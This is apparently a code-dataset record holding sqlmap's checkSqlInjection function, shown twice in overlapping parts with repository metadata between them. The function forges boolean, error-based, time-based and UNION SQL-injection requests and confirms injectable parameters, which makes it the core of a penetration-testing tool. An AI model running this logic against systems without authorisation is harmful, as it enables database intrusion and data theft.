                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A\w{2,}\Z"", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break

                                            conf.string = candidate

                                            infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                            logger.info(infoMsg)

                                        if not any((conf.string, conf.notString)):
                                            candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))

                                            if candidates:
                                                candidates = sorted(candidates, key=len)
                                                for candidate in candidates:
                                                    if re.match(r""\A\w+\Z"", candidate):
                                                        break

                                                conf.notString = candidate

                                                infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
                                                logger.info(infoMsg)

                                if not any((conf.string, conf.notString, conf.code)):
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == ""1""

                                    if result:
                                        infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException as ex:
                                debugMsg = ""problem occurred most likely because the ""
                                debugMsg += ""server hasn't recovered as expected from the ""
                                debugMsg += ""error-based payload used ('%s')"" % getSafeExString(ex)
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
                            trueCode = threadData.lastCode

                            if trueResult:
                                # Extra validation step (e.g. to check for DROP protection mechanisms)
                                if SLEEP_TIME_MARKER in reqPayload:
                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
                                    if falseResult:
                                        continue

                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char, test.request.columns)

                            if len(kb.dbmsFilter or []) == 1:
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                        warnMsg = ""using unescaped version of the test ""
                                        warnMsg += ""because of zero knowledge of the ""
                                        warnMsg += ""back-end DBMS. You can try to ""
                                        warnMsg += ""explicitly set it with option '--dbms'""
                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = ""automatically extending ranges for UNION ""
                                infoMsg += ""query injection technique tests as ""
                                infoMsg += ""there is at least one other (potential) ""
                                infoMsg += ""technique found""
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)

                            if isinstance(reqPayload, six.string_types):
                                infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, ""details""):
                            for key, value in test.details.items():
                                if key == ""dbms"":
                                    injection.dbms = value

                                    if not isinstance(value, list):
                                        Backend.setDbms(value)
                                    else:
                                        Backend.forceDbms(value[0], True)

                                elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(value)

                                elif key == ""os"" and injection.os is None:
                                    injection.os = Backend.setOs(value)

                        if vector is None and ""vector"" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
                        injection.data[stype].trueCode = trueCode
                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                logger.info(infoMsg)

                                try:
                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break

            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

        except KeyboardInterrupt:
            warnMsg = ""user aborted during detection phase""
            logger.warn(warnMsg)

            if conf.multipleTargets:
                msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='S', checkBatch=False).upper()

            if choice == 'X':
                if conf.multipleTargets:
                    raise SqlmapSkipTargetException
            elif choice == 'C':
                choice = None
                while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warn(""invalid value"")
                    msg = ""enter new verbosity level: [0-6] ""
                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
            elif choice == 'N':
                return None
            elif choice == 'E':
                kb.endDetection = True
            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

    Backend.flushForcedDbms(True)

    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
            warnMsg = ""in OR boolean-based injection cases, please consider usage ""
            warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
            warnMsg += ""problems during data retrieval""
            logger.warn(warnMsg)

        if not checkFalsePositives(injection):
            kb.vulnHosts.remove(conf.hostname)
            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)

    else:
        injection = None

    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

    return injection",,sqlmapproject/sqlmap,0351b4a939cc64943ef39f25737203bd0307adf7,"def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Favoring non-string specific boundaries in case of digit-like parameter values
    if value.isdigit():
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.alphaBoundaries
    else:
        boundaries = conf.boundaries

    # Set the flag for SQL injection test mode
    kb.testMode = True

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    tests = getSortedInjectionTests()
    seenPayload = set()

    kb.data.setdefault(""randomInt"", str(randomInt(10)))
    kb.data.setdefault(""randomStr"", str(randomStr(10)))

    while tests:
        test = tests.pop(0)

        try:
            if kb.endDetection:
                break

            if conf.dbms is None:
                # If the DBMS has not yet been fingerprinted (via simple heuristic check
                # or via DBMS-specific payload) and boolean-based blind has been identified
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS
                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = ""for the remaining tests, do you want to include all tests ""
                msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
                msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
                msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
                msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
            trueCode, falseCode = None, None

            if conf.httpCollector is not None:
                conf.httpCollector.setExtendedArguments({
                    ""_title"": title,
                    ""_place"": place,
                    ""_parameter"": parameter,
                })

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if ""[CHAR]"" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace(""[CHAR]"", conf.uChar)

                elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
                    title = title.replace(""[RANDNUM]"", ""random number"")

                if test.request.columns == ""[COLSTART]-[COLSTOP]"":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace(""[COLSTART]"", str(conf.uColsStart))
                        title = title.replace(""[COLSTOP]"", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = ""skipping test '%s' because the user "" % title
                    debugMsg += ""provided custom column range %s"" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
                            test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
                            title = re.sub(r""\b%d\b"" % _, str(__), title)
                            test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""specified to test only for ""
                debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = ""skipping test '%s' because "" % title
                debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
                debugMsg += ""already been identified""
                logger.debug(debugMsg)
                continue

            # Parse DBMS-specific payloads' details
            if ""details"" in test and ""dbms"" in test.details:
                payloadDbms = test.details.dbms
            else:
                payloadDbms = None

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is not included by the given filter""
                logger.debug(debugMsg)
                continue

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is included by the given skip filter""
                logger.debug(debugMsg)
                continue

            if payloadDbms is not None:
                # Skip DBMS-specific test if it does not match the user's
                # provided DBMS
                if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific payload)
                if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than identified""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
                    debugMsg = ""skipping test '%s' because the heuristic "" % title
                    debugMsg += ""tests showed that the back-end DBMS ""
                    debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

            # If the user did not decide to extend the tests to all
            # DBMS-specific or the test payloads is not specific to the
            # identified DBMS, then only test for it if both level and risk
            # are below the corrisponding configuration's level and risk
            # values
            if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                # Skip test if the risk is higher than the provided (or default)
                # value
                if test.risk > conf.risk:
                    debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
                    debugMsg += ""is higher than the provided (%d)"" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                if test.level > conf.level:
                    debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
                    debugMsg += ""is higher than the provided (%d)"" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
                debugMsg = ""skipping test '%s' because the clauses "" % title
                debugMsg += ""differ from the clause already identified""
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character (for UNION-based payloads)
            if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""provided a specific character, %s"" % conf.uChar
                logger.debug(debugMsg)
                continue

            if stype == PAYLOAD.TECHNIQUE.UNION:
                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and not injection.data:
                    _ = test.request.columns.split('-')[-1]
                    if conf.uCols is None and _.isdigit():
                        if kb.futileUnion is None:
                            msg = ""it is recommended to perform ""
                            msg += ""only basic UNION tests if there is not ""
                            msg += ""at least one other (potential) ""
                            msg += ""technique found. Do you want to reduce ""
                            msg += ""the number of requests? [Y/n] ""
                            kb.futileUnion = readInput(msg, default='Y', boolean=True)

                        if kb.futileUnion and int(_) > 10:
                            debugMsg = ""skipping test '%s'"" % title
                            logger.debug(debugMsg)
                            continue

            infoMsg = ""testing '%s'"" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current test DBMS value
            # for proper payload unescaping
            Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix if boundary.prefix else """"
                suffix = boundary.suffix if boundary.suffix else """"
                ptype = boundary.ptype

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None and injection.suffix is not None)
                condBound &= (injection.prefix != prefix or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                # If the payload is an inline query test for it regardless
                # of previously identified injection types
                if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    origValue = value
                    if kb.customInjectionMark in origValue:
                        origValue = origValue.split(kb.customInjectionMark)[0]
                        origValue = re.search(r""(\w*)\Z"", origValue).group(1)

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
                        if kb.tamperFunctions:
                            templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
                            origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
                            origValue = kb.data.randomStr[:6]
                        else:
                            origValue = ""-%s"" % kb.data.randomInt[:4]

                        templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = """"

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    if fstPayload:
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                        if reqPayload:
                            stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)"", r""\g<1>.\g<4>"", reqPayload)
                            if stripPayload in seenPayload:
                                continue
                            else:
                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)

                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
                            if not kb.negativeLogic:
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher

                                    for current in (kb.originalPage, kb.heuristicPage):
                                        seqMatcher.set_seq1(current or """")
                                        seqMatcher.set_seq2(falsePage or """")
                                        ratio *= seqMatcher.quick_ratio()

                                    if ratio == 1.0:
                                        continue
                                except (MemoryError, OverflowError):
                                    pass

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = ""%s%s"" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not kb.nullConnection):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)

                                if not falseResult:
                                    if kb.negativeLogic:
                                        boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
                                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                        errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if (_ or 0) > (kb.matchRatio or 0):
                                            kb.matchRatio = _
                                            logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)

                                    # Reducing false-positive ""appears"" messages in heavily dynamic environment
                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
                                        continue

                                    injectable = True

                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
                                    trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
                                    falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))

                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
                                    else:
                                        errorSet = set()

                                    if originalSet == trueSet != falseSet:
                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
                                                    conf.string = candidate
                                                    injectable = True

                                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                                    logger.info(infoMsg)

                                                    break

                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
                                        conf.code = trueCode

                                        infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

                                        candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A\w{2,}\Z"", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break

                                            conf.string = candidate

                                            infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                            logger.info(infoMsg)

                                        if not any((conf.string, conf.notString)):
                                            candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))

                                            if candidates:
                                                candidates = sorted(candidates, key=len)
                                                for candidate in candidates:
                                                    if re.match(r""\A\w+\Z"", candidate):
                                                        break

                                                conf.notString = candidate

                                                infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
                                                logger.info(infoMsg)

                                if not any((conf.string, conf.notString, conf.code)):
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == ""1""

                                    if result:
                                        infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

